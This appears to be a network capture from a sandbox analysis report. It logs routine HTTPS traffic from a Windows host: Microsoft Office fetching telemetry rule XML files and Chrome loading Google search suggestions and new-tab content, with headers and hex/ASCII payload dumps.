2024-12-06 17:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:22 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c4831996-901e-0016-39ce-45efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174522Z-1746fd949bdw2rg8hC1EWR11u400000004pg00000000xymp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:22 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:22 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:22 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 667c147a-501e-0016-34cc-45181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174522Z-1746fd949bdzd2qvhC1EWRcygw00000004ag000000007ahb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:22 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:22 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:22 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 40031d31-601e-005c-53c5-45f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174522Z-1746fd949bd2cq7chC1EWRnx9g000000041g00000000zb15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:22 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:22 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:22 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: a36b2733-e01e-0051-6f03-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174522Z-r1cf579d7789trgthC1EWRkkfc00000000s000000000379d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49725	172.217.21.36	443	6096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:23 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 17:45:24 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:23 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ZxpVp0tIXx4LBHhTIrTWfA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 17:45:24 UTC	124	IN	Data Raw: 33 32 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 68 69 6c 61 64 65 6c 70 68 69 61 20 65 61 67 6c 65 73 20 69 6e 6a 75 72 79 20 72 65 70 6f 72 74 22 2c 22 6d 6f 72 74 67 61 67 65 20 72 61 74 65 73 20 74 6f 64 61 79 22 2c 22 6e 75 72 73 65 20 68 61 6e 6e 61 68 20 66 6c 69 6e 63 68 69 6e 67 22 2c 22 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 Data Ascii: 324)]}'["",["philadelphia eagles injury report","mortgage rates today","nurse hannah flinching","disney dreamlight valley
2024-12-06 17:45:24 UTC	687	IN	Data Raw: 20 75 6e 6c 6f 63 6b 20 73 61 6c 6c 79 22 2c 22 73 6e 6f 77 20 73 74 6f 72 6d 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 22 2c 22 73 61 6d 73 75 6e 67 20 67 61 6c 61 78 79 20 73 32 35 22 2c 22 64 6f 76 65 20 78 20 63 72 75 6d 62 6c 20 63 6f 6f 6b 69 65 73 20 62 6f 64 79 20 77 61 73 68 22 2c 22 63 72 69 74 69 63 73 20 63 68 6f 69 63 65 20 61 77 61 72 64 73 20 6e 6f 6d 69 6e 61 74 69 6f 6e 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 Data Ascii: unlock sally","snow storm weather forecast","samsung galaxy s25","dove x crumbl cookies body wash","critics choice awards nominations"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpb
2024-12-06 17:45:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49722	172.217.21.36	443	6096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:23 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49726	172.217.21.36	443	6096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:23 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 17:45:24 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 06 Dec 2024 17:45:23 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 17:45:24 UTC	372	IN	Data Raw: 32 65 38 34 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2e84)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-06 17:45:24 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-06 17:45:24 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-06 17:45:24 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-06 17:45:24 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-06 17:45:24 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 36 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700256,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window
2024-12-06 17:45:24 UTC	1390	IN	Data Raw: 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 Data Ascii: Array(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this
2024-12-06 17:45:24 UTC	1390	IN	Data Raw: 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 Data Ascii: hrow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003
